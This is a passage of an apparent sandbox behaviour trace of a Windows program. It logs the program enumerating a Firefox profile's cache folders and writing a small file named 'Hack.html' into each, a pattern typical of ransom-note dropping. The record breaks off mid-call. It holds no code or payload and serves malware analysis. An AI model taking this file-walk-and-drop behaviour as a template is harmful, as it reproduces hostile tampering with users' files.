lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.317] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.317] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.317] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.317] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.318] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.319] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ecc0) returned 1 [0077.319] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\*", lpFindFileData=0x39e9e8 | out: lpFindFileData=0x39e9e8) returned 0x59a528 [0077.320] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.320] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.321] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 1 [0077.321] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9f8 | out: lpFindFileData=0x39e9f8) returned 0 [0077.321] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec80) returned 1 [0077.322] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec8c) returned 1 [0077.322] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0077.322] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a528 [0077.329] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.329] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.329] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.329] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.329] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.330] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.330] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.330] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.330] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.330] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.331] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.331] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.331] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.331] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.331] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.331] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.332] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.332] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.332] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.332] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.332] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.332] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0077.333] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0077.334] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0077.334] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec8c) returned 1 [0077.334] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*", lpFindFileData=0x39e9b4 | out: lpFindFileData=0x39e9b4) returned 0x59a528 [0077.335] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.335] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.335] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.335] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.336] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.336] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.336] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.336] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.336] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.336] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.336] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.336] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.337] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.337] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.337] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.337] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.337] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.337] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.337] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.338] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.338] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 1 [0077.338] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e9c4 | out: lpFindFileData=0x39e9c4) returned 0 [0077.338] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec4c) returned 1 [0077.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec58) returned 1 [0077.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.340] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a528 [0077.342] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.342] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.342] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.342] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.342] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.343] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.343] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.343] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a528 [0077.343] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.344] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.344] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.344] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.344] FindClose (in: hFindFile=0x59a528 | out: hFindFile=0x59a528) returned 1 [0077.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.345] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a528 [0077.346] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.346] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.346] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.347] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a528 [0077.347] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.347] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.347] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.347] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.347] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb14) returned 1 [0077.348] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\98\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.348] GetFileType (hFile=0x174) returned 0x1 [0077.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb10) returned 1 [0077.348] GetFileType (hFile=0x174) returned 0x1 [0077.348] WriteFile (in: hFile=0x174, lpBuffer=0x26d80c4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb90, lpOverlapped=0x0 | out: lpBuffer=0x26d80c4*, lpNumberOfBytesWritten=0x39eb90*=0xba, lpOverlapped=0x0) returned 1 [0077.349] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.350] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a528 [0077.351] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.351] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.351] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.351] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.351] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a528 [0077.352] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.352] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.352] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb14) returned 1 [0077.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\A8\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\a8\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.353] GetFileType (hFile=0x174) returned 0x1 [0077.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb10) returned 1 [0077.353] GetFileType (hFile=0x174) returned 0x1 [0077.353] WriteFile (in: hFile=0x174, lpBuffer=0x26dcb7c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb90, lpOverlapped=0x0 | out: lpBuffer=0x26dcb7c*, lpNumberOfBytesWritten=0x39eb90*=0xba, lpOverlapped=0x0) returned 1 [0077.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb48) returned 1 [0077.354] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.355] GetFileType (hFile=0x174) returned 0x1 [0077.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb44) returned 1 [0077.355] GetFileType (hFile=0x174) returned 0x1 [0077.355] WriteFile (in: hFile=0x174, lpBuffer=0x26df41c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ebc4, lpOverlapped=0x0 | out: lpBuffer=0x26df41c*, lpNumberOfBytesWritten=0x39ebc4*=0xba, lpOverlapped=0x0) returned 1 [0077.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.356] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a528 [0077.357] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.357] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.357] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.357] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.357] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.358] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec58) returned 1 [0077.358] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\*", lpFindFileData=0x39e980 | out: lpFindFileData=0x39e980) returned 0x59a528 [0077.358] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.358] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.358] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.358] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 1 [0077.358] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e990 | out: lpFindFileData=0x39e990) returned 0 [0077.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec18) returned 1 [0077.359] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec24) returned 1 [0077.359] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.359] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a528 [0077.359] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.360] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.360] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.360] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.360] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.360] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a528 [0077.360] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.360] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.361] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.361] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb14) returned 1 [0077.361] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\0B\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\0b\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.361] GetFileType (hFile=0x174) returned 0x1 [0077.361] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb10) returned 1 [0077.361] GetFileType (hFile=0x174) returned 0x1 [0077.362] WriteFile (in: hFile=0x174, lpBuffer=0x26e6768*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb90, lpOverlapped=0x0 | out: lpBuffer=0x26e6768*, lpNumberOfBytesWritten=0x39eb90*=0xba, lpOverlapped=0x0) returned 1 [0077.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.363] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a528 [0077.364] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.364] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.364] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.365] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a528 [0077.365] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.365] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.365] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb14) returned 1 [0077.366] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\C2\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\1\\c2\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0077.366] GetFileType (hFile=0x174) returned 0x1 [0077.366] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb10) returned 1 [0077.366] GetFileType (hFile=0x174) returned 0x1 [0077.367] WriteFile (in: hFile=0x174, lpBuffer=0x26eb220*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb90, lpOverlapped=0x0 | out: lpBuffer=0x26eb220*, lpNumberOfBytesWritten=0x39eb90*=0xba, lpOverlapped=0x0) returned 1 [0077.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.368] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a528 [0077.368] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.368] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.368] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.369] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0077.369] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\1\\F6\\*", lpFindFileData=0x39e94c | out: lpFindFileData=0x39e94c) returned 0x59a528 [0077.369] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.369] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 1 [0077.369] FindNextFileW (in: hFindFile=0x59a528, lpFindFileData=0x39e95c | out: lpFindFileData=0x39e95c) returned 0 [0077.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebe4) returned 1 [0077.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebf0) returned 1 [0077.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb14) returned 1 [0077.370] CreateFileW 